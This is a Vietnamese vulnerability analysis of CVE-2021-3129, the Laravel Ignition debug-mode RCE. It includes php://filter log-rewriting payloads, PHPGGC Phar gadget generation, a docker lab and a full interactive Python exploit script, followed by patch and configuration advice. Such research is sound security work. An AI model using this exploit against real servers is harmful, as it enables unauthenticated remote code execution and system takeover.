CVE-2021-3129
Laravel <= v8.4.2 debug mode: Remote code execution (CVE-2021-3129)
Description and Impact
Ignition là một công cụ gỡ lỗi phổ biến trong Laravel, đóng một vai trò quan trọng trong việc hỗ trợ các nhà phát triển trong quá trình phát triển ứng dụng. Nó được cài đặt mặc định từ Laravel 6+.
Ngoài ra Ignition còn cung cấp các mô-đun hay còn gọi là Solutions
, giúp ta tìm và sửa lỗi một cách dễ dàng và nhanh chóng.
Tuy nhiên, chức năng của nó đi kèm với một lỗ hổng khiến các trang web sử dụng phiên bản Laravel <= 8.4.2 và Ignition <= 2.5.1 với chế độ DEBUG được bật có nguy cơ bị tấn công RCE. Lỗ hổng nghiêm trọng này cho phép những kẻ tấn công không được xác thực thực thi mã tùy ý từ xa do sử dụng hàm file_get_contents()
và file_put_contents()
một cách không an toàn, có khả năng phá hoại dữ liệu ứng dụng, tài nguyên máy chủ và quyền riêng tư của người dùng.
CVSS Severity: 9.8 (Critical)
Prepare
Ignition debug example
Sửa hoặc thêm {{ $varialbe }}
vào file /resource/views/welcome.blade.php
để làm xuất hiện chế độ debug của Ignition
Khi click vào Make variable optional
thì nó sẽ tự động replace {{ $varialbe }}
thành
{{ $varialbe ?? '' }}
. Kiểm tra log thì ta thấy được request như sau:
Trong gói tin này:
- Param
solution
: Chỉ địnhclass
sẽ được thực thi. Ở đây là classMakeViewVariableOptionalSolution
. parameters
: Đây là một JSON Object bổ sung, chứa các params cụ thể chosolution
.- Param
variableName
: Đây là tên của biến trong view mà Ignition đề xuất để sửa. - Param
viewFile
: Đây là đường dẫn tới file view chứavariableName
.
Phar Deserialization
Deserialize Attack
Là kỹ thuật mà attacker có thể control được object serialize thông qua đó có thể điều chỉnh được các giá trị của các thuộc tính trong một class tuỳ theo ý muốn, đồng thời lợi dụng điểm yếu của các magic method để thực thi code và tấn công. Điển hình là các lỗi về: SQL injection
, Code injection
,…
Magic method
Magic method là những phương thức đặc biệt trong php được khai báo có dấu 2 gạch
ở trước như __construct()
,__destruct()
, __sleep()
,… và những phương thức này sẽ không thực thi nếu không được gọi, mục đích tạo ra là để giải quyết vấn đề về sự kiện trong chương trình.
__construct()
: sẽ được call khi một đối tượng được khởi tạo.
__destruct()
: sẽ được call khi một đối tượng bị huỷ hoặc kết thúc chương trình.
__wakeup()
: được call khi một đối tượng được deserialize.
__toString()
: được call khi một đối tượng được gọi như một chuỗi.
Phar
Phar là một phần mở rộng trong php, nó giống như 1 file zip và bên trong nó chứa mã nguồn php hoặc giống như một kho lưu trữ mã nguồn PHP, nghĩa là tập hợp include các file PHP vào chung 1 phar khi excute thì sẽ tự động thực thi toàn bộ các file PHP bên trong nó mà không cần phải extract các PHP đó vào một thư mục nào trước đó cả.
phar:// Stream Wrapper
Trong PHP, tất cả các thao tác với tệp đều được xử lý bằng stream .
Ví dụ: http://
, ftp://
, file://
, php://
, phar://
,…
filegetcontents("http://example.com/image.jpeg")
filegetcontents("file://../images/image.jpeg")
filegetcontents("phar://./folder/app.phar")
phar:// stream wrapper được sử dụng để tương tác với các tệp PHAR. Nó cho phép ta thực hiện nhiều thao tác read
/write
khác nhau trên server. Ngoài ra ta còn có thể truy cập vào các file bên trong một file phar thông qua các filesytstem function
.
PHAR archives
Cấu trúc của một file phar:
Stub
: Là một file PHP mà ta cần gói lại.
VD:
manifest
: Chứa các trường siêu dữ liệu (metadata) bao gồm thông tin về archive và các file trong archive.
Đặc biệt, theo như dòng thứ hai từ dưới lên**,** nó sẽ chứa những Meta-data đã được serialize và nó sẽ được unserialize nếu được trigger bởi các filesystem function
khi gọi đến một file Phar
thông qua phar://
stream wrapper.
Một số filesystem function
:
File contents
: Là các file thực có trong archive.
Signature
: Là một hàm băm của file archive, ta phải có chữ ký hợp lệ nếu muốn truy cập file archive từ PHP.
-
Điều kiện để có thể khai thác được Phar Deserialize:
Ta phải load được một file có nội dung tùy ý và biết được đường dẫn đến file này trong hệ thống. Tìm được một
filesystem function
trên để trigger file phar và đồng thời ta phải control được tên của file.
Root Cause Analysis
Lỗ hổng xảy ra ở solution vendor/facade/ignition/src/Solutions/MakeViewVariableOptionalSolution.php
. Tại đây, ứng dụng sử dụng hai hàm để read
và write
tệp trong PHP là: file_get_contents()
và file_put_contents()
. Sai lầm nghiêm trọng nằm ở việc thiếu xác thực trong việc kiểm tra input của người dùng, cụ thể là các biến môi trường được chuyển đến các chức năng này. Kẻ tấn công có thể khai thác lỗ hổng này bằng việc tiêm mã độc thông qua các biến môi trường, sau đó Ignition sẽ đọc và thực thi, cấp cho kẻ tấn công toàn quyền kiểm soát ứng dụng.
Luồng hoạt động của ứng dụng:
Đầu tiên, phương thức makeOptional()
sẽ được gọi:
Nó sẽ đọc một tập tin có đường dẫn được truyền trong tham số viewFile
:
Sau đó, biến được truyền vào variableName
sẽ thay đổi định dạng từ $variable
thành $variable ?? ''
Sau đó, chương trình sẽ thực hiện so sánh token và verify để đảm bảo để đảm bảo rằng các biến trong tệp view
luôn có giá trị hợp lệ, tránh lỗi khi biến không tồn tại.:
Nếu có lỗi xảy ra, thì makeOptional()
sẽ trả về lỗi, nếu không $newContent
sẽ được ghi đè:
Do đó, ta không thể làm được gì nhiều khi sử dụng param variableName
.
Input variable duy nhất còn lại là viewFile
, từ đoạn code trên ta có thể viết lại đoạn code rút gọn như sau:
$originalContents = file_get_contents($parameters['viewFile']);
file_put_contents($parameters['viewFile'], $output);
PHP wrappers: changing a file
Trong Laravel, Laravel sử dụng thự viện Monolog
được tích hợp sẵn để cung cấp và hỗ trợ nhiều cách xử lý log khác nhau. Mặc định có một file log được lưu trữ trong thư mục storage/logs
.
Khi ta truyền vào biến viewFile
một đường dẫn không tồn tại, file log sẽ gi lại những gì chúng ta nhập.
Do đó, ta có thể kiểm soát được một phần nhỏ nội dung của tệp laravel.log
bằng cách truyền payload vào biến viewFile
.
Vì ở đây ứng dụng sử dụng hàm file_get_contents()
để đọc file nên ta sẽ sử dụng PHP Wrapper, cụ thể là php://filter
. Bằng cách sử dụng kết hợp các filter tích hợp, ta có thể chỉnh sửa nội dung của tệp trước khi được trả về.
VD:
$ echo 'hello' | base64 | base64 > /tmp/tu.txt
$ cat /tmp/tu.txt
aGVsbG8K
Sau đó, viết một script PHP thực hiện các thao tác read
và write
file tương tự như các thao tác được sử dụng trong Ignition.
<?php
$file = 'php://filter/convert.base64-decode/resource=/tmp/tu.txt';
// Đọc file /tmp/tu.txt và base64-decode sau đó lưu vào biến $contents
$contents = file_get_contents($file);
// Base64-decode biến $contents sau đó ghi đè lên dữ liệu cũ
file_put_contents($file, $contents);
$ cat /tmp/tu.txt
hello
Khi decode-base64, base64 sẽ không decode những kí tự không nằm trong Base64 Encoding Alphabet
mà loại bỏ chúng.
VD:
echo 'SGVsbG8K!!!!;;' > /tmp/test.txt
$file = 'php://filter/read=convert.base64-decode/resource=/tmp/test.txt';
$contents = file_get_contents($file);
file_put_contents($file, $contents);
!
Ta có thể sử dụng cách này để xóa nội dung của file log.
Như vậy ta đã có đủ 2 điều kiện để sử dụng kỹ thuật Phar Deserialization: Kiểm soát được file laravel.log
với Wrapper php://filter
và biết được đường dẫn của file laravel.log
là storage/logs/laravel.log
Nhưng ta mới chỉ kiểm soát được một phần nhỏ file log, để thực hiện kỹ thuật Phar Deserialization ta cần phải kiểm soát được toàn bộ nội dung của file log.
Deleting and writing the log file
Cấu trúc của mỗi đoạn đầu của log như sau:
[Date][Error_data]<viewFile>[Error_data]<viewFile>[Error_data]
Trong PHP có nhiều filter chuyển đổi cho nhiều kiểu mã hóa khác nhau. Tất cả đều có tiền tố convert.iconv.*
. Vì cứ 2 byte thì sẽ được 1 char theo mã UTF-16
nên khi convert từ UTF16
sang UTF-8
thì H\0
-> H
. Do đó ta có thể xóa file log bằng cách truyền vào phía sau mỗi ký tự của payload một NULL byte (\0
) sau đó chuyển đổi bảng mã từ UTF-16
sang UTF-8
. Còn các cặp 2 byte ở [Error_data]
sẽ bị convert thành junk chars giống như dưới đây. Sau đó phần junk chars này sẽ bị loại bỏ ở bước base64 decoding như đã nói ở phía trên:
Character | UTF-8 | UTF-16LE | UTF-16BE |
---|---|---|---|
U+0041 (a) | 0x41 | 0x41 0x00 | 0x00 0x41 |
echo '[Error_data]H\0e\0l\0l\0o\0[Error_data]H\0e\0l\0l\0o\0[Error_data]'> /tmp/test.txt
<?php
$file = 'php://filter/read=convert.iconv.utf16le.utf-8/resource=/tmp/test.txt';
$contents = file_get_contents($file);
file_put_contents($file, $contents);
Vì payload xuất hiện 2 lần nên ta cần loại bỏ đi một cái mới đúng cấu trúc của file Phar. Ta chỉ cần thêm 1 byte vào cuối payload 1 và sử dụng cách trên convert payload từ UTF16
sang UTF8
để biến payload thứ 2 thành junk chars (vì UTF16
làm việc với 2 byte nên byte alignment của payload thứ 2 sẽ bị lệch):
echo '[Error_data]H\0e\0l\0l\0o\0a[Error_data]H\0e\0l\0l\0o\0a[Error_data]' > /tmp/test.txt
Nhưng payload được truyền vào hàm file_get_contents()
dưới dạng đường dẫn của tệp, do đó, ta sẽ không thể truyền vào các NULL byte (\00
) để biểu diễn payload ở định dạng UTF-16
. Nên ta có thể thay thế bằng ký tự =00
sau đó sử dụng filter convert.quoted-printable
****để convert các ký tự =00
thành NULL byte (\00
).
Vậy, kết luận chúng ta sẽ có Payload cuối cùng là:
"viewFile" : "php://filter/write=convert.quoted-printable-decode|convert.iconv.utf-16le.utf-8
|convert.base64-decode/resource=../storage/logs/laravel.log"
Trong đó:
convert.quoted-printable-decode
: decode các string có giá trị là=00
thành byte\00
(NULL byte).convert.iconv.utf-16le.utf-8
: convert từ UTF-16 thành UTF-8 (chuyển đổi nội dung log không mong muốn bằng cách gộp 2 byte lại để chuyển thành các junk chars).convert.base64-decode
: xóa các byte bị convert sang utf-8 mà nằm ngoài bảng mã.
Nhưng vì sử dụng bảng mã UTF-16
nên kích thước file log cần phải là bội số của 2 byte, nên ta cần gửi hai request như dưới đây, vì các Error_data[1,2,3]
sẽ xuất hiện hai lần và PAYLOAD_A
và PAYLOAD_B
cũng xuất hiện hai lần nên tổng số byte sẽ luôn là số chẵn.
[Error_data1]PAYLOAD_A[Error_data2]PAYLOAD_A[Error_data3]
[Error_data1]PAYLOAD_B[Error_data2]PAYLOAD_B[Error_data3]
Để PAYLOAD_A
biến mất khi decode-base64, ta sẽ gửi 1 payload với số byte chẵn như AA
và biến PAYLOAD_B
thành PHAR payload.
[Error_data1]AA[Error_data2]AA[Error_data3]
[Error_data1]PAYLOAD_B[Error_data2]PAYLOAD_B[Error_data3]
-
Note:
Các
Error_data
có kích thước giống nhau vì nó gặp lỗi ở cùng một vị trí nên cácError_data
sẽ giống nhau. VÌ vậy, trong mọi trường hợp, kích thước của file log luôn là số chẵn.
Ta rút ra được quy trình khai thác sau:
Xóa log → Gửi content ‘AA’ → Gửi payload (các Error_data
sẽ xuất hiện 2 lần) → Chẵn ký tự. Vì payload xuất hiện 2 lần nên dựa vào chức năng của filter convert.iconv.utf-16le.utf-8
chỉ cần thêm 1 byte vào sau payload thì quá trình decode payload thứ 2 sẽ bị lệch byte và trở thành junk chars
→ Chạy PHAR deserialization.
-
Note
Ngoài ra ta có thể sử dụng filter
consumed
(undocument) để xóa nội dung file log bằng cách:php://filter/write=consumed/resources=../storage/logs/laravel.log
Ngoài ra, nếu sử dụng filter
base64-decode
lên một chuỗi có chứa dấu=
ở giữa, PHP sẽ tạo ra lỗi và không trả về kết quả nào.
Create Payload with PHPGGC
Ở đây ta sẽ sử dụng phpggc
để tạo payload. Công cụ này tạo ra các gadget-chains cho các cuộc tấn công PHP Deserialization. Và nó có thể tạo payload dưới dạng PHAR file với argument --phar phar
.
Như đã nói ở trên, Monolog
là một thư viện có sẵn trong Laravel nên ta sẽ sử dụng gadget monolog/rce1
.
php -d'phar.readonly=0' ./phpggc monolog/rce1 system 'id' --phar phar -o php://output | base64 -w0
| python -c "print(''.join(['=' + hex(ord(i))[2:] + '=00' for i in input()]).upper())"
-
Trong đó:
-d'phar.readonly=0'
: Đây là tùy chọn dòng lệnh cho PHP cho phép sửa đổi các tệp Phar. Theo mặc định, PHP sẽ chỉ cho phép đọc tệp Phar, nhưng tùy chọn này cho phép ghi và sửa đổi nội dung của tệp Phar.print(''.join(['=' + hex(ord(i))[2:] + '=00' for i in input()]).upper())
: chuyển từng ký tự thành mã Unicode của nó rồi chuyển mã Unicode thành mã Hex sau đó thêm ký tự “=” ở đầu và cuối mỗi chuỗi Hex và thêm chuỗi00
ở cuối mỗi cặp Hex. Cuối cùng dùng hàmjoin()
để ghép các chuỗi Hex thành một chuỗi duy nhất và dùng hàmupper()
chuyển đổi tất cả các ký tự trong chuỗi thành ký tự in hoa.VD: Ký tự
P
có mã hex là 50 →=50=00
Steps to reproduce
-
Prepare environment
- docker-compose.yml
version: '2' services: web: build: . image: vulhub/laravel:8.4.2 ports: - "3333:80"
- Dockerfile
RUN pecl install xdebug-3.1.5 && docker-php-ext-enable xdebug && echo "[xdebug]" >> /usr/local/etc/php/php.ini && echo "zend_extension=xdebug.so" >> /usr/local/etc/php/php.ini && echo "xdebug.mode=develop,debug" >> /usr/local/etc/php/php.ini && echo "xdebug.start_with_request=yes" >> /usr/local/etc/php/php.ini && echo "xdebug.log=/tmp/xdebug_remote.log" >> /usr/local/etc/php/php.ini
- Đầu tiên, ta tiến hành xóa log trong file
laravel.log
bằngconsumed
filter.
Payload:
"viewFile":"php://filter/read=consumed/resource=../storage/logs/laravel.log"
- Gửi payload
AA
để căn chỉnh kích thước của file log.
Payload:
"viewFile":"AA"
- Tạo log chứa payload:
Payload: (whoami)
"viewFile":"=50=00=44=00=39=00=77=00=61=00=48=00...=67=00=3D=00=3D=00a"
- Convert file log sang PHAR file.
Payload:
"viewFile":
"php://filter/write=convert.quoted-printable-decode|convert.iconv.utf-16le.utf-8
|convert.base64-decode/resource=../storage/logs/laravel.log"
-
Debug
convert.quoted-printable-decode
: decode các string có giá trị là=00
thành byte\00
(NULL byte).
"viewFile": "php://filter/write=convert.quoted-printable-decode/resource=../storage/logs/laravel.log"
convert.iconv.utf-16le.utf-8
: convert từ UTF-16 thành UTF-8 (chuyển đổi nội dung log không mong muốn bằng cách gộp 2 byte lại để chuyển thành các junk chars).
"viewFile": "php://filter/write=convert.iconv.utf-16le.utf-8/resource=../storage/logs/laravel.log"
convert.base64-decode
: xóa các ký tự khi convert từUTF-16
sangUTF-8
mà nằm ngoài bảng mã và convert file log sang PHAR file.
"viewFile": "php://filter/write=convert.base64-decode/resource=../storage/logs/laravel.log"
- Chạy PHAR deserialization
Payload:
"viewFile":"phar:///var/www/storage/logs/laravel.log"
-
Script exploit tự động
import requests, sys, re, os import argparse, urllib3 urllib3.disable_warnings() def sendPayload(payload): url = "http://localhost:3333/_ignition/execute-solution"#change this header = { "Accept": "application/json" } data = { "solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution", "parameters": { "variableName": "variable", "viewFile": "" } } data["parameters"]["viewFile"] = payload resp = requests.post(url=url, headers=header, json=data, verify=False) if resp.status_code == 500 and 'php.ini' in resp.text: m = re.findall(r'\{(.|\n)+\}((.|\n)*)', resp.text) print("Result: " , m[0][1]) return resp def clearLog(): return sendPayload("php://filter/read=consumed/resource=../storage/logs/laravel.log") # php://filter/write=convert.iconv.utf-8.utf-16le|convert.quoted-printable-encode|convert.iconv.utf-16le.utf-8|convert.base64-decode/resource=../storage/logs/laravel.log def decodeLog(): return sendPayload( "php://filter/write=convert.quoted-printable-decode|convert.iconv.utf-16le.utf-8|convert.base64-decode/resource=../storage/logs/laravel.log") def unserializeLog(): return sendPayload("phar://../storage/logs/laravel.log/test.txt") def genPHPGGC(command): payload = """php -d 'phar.readonly=0' phpggc/phpggc monolog/rce1 system %s --phar phar -o php://output | base64 -w0 | python -c "import sys;print(''.join(['=' + hex(ord(i))[2:] + '=00' for i in sys.stdin.read()]).upper())" > payload.txt"""%(command) os.system(payload) with open('payload.txt', 'r') as f: payload = f.read().replace('\n', '') + 'a' os.system("rm -r payload.txt") print (payload) return payload def main(): while True: command = input("Enter command (or 'exit' to quit): ") if command.lower() == 'exit': break clearLog() sendPayload('AA') sendPayload(genPHPGGC(command)) decodeLog() unserializeLog() if __name__ == '__main__': main()
VD: python3 exp.py ‘id’
Recommendation
So sánh 2 file code, sau khi update Laravel đã thêm vào một hàm kiểm tra input của người dùng truyền qua param viewFile
là isSafePath()
. Hàm này có tác dụng kiểm tra xem input có bắt đầu bằng đường dẫn tuyệt đối /
, đường dẫn tương đối ./
hoặc file có kết thúc bằng extention blade.php
hay không, nếu không thì return false
.
Nếu cần bật chế độ Debug trên môi trường non-local thì nên tắt chế độ Suggestion Solutions của Ignition bằng cách set ignition.enable_runnable_solutions
thành false
trong file .env
.
Kể từ phiên bản Ignition 2.6.*
trở đi chế độ Debug Suggestion Solutions không thể bật ở môi trường non-local.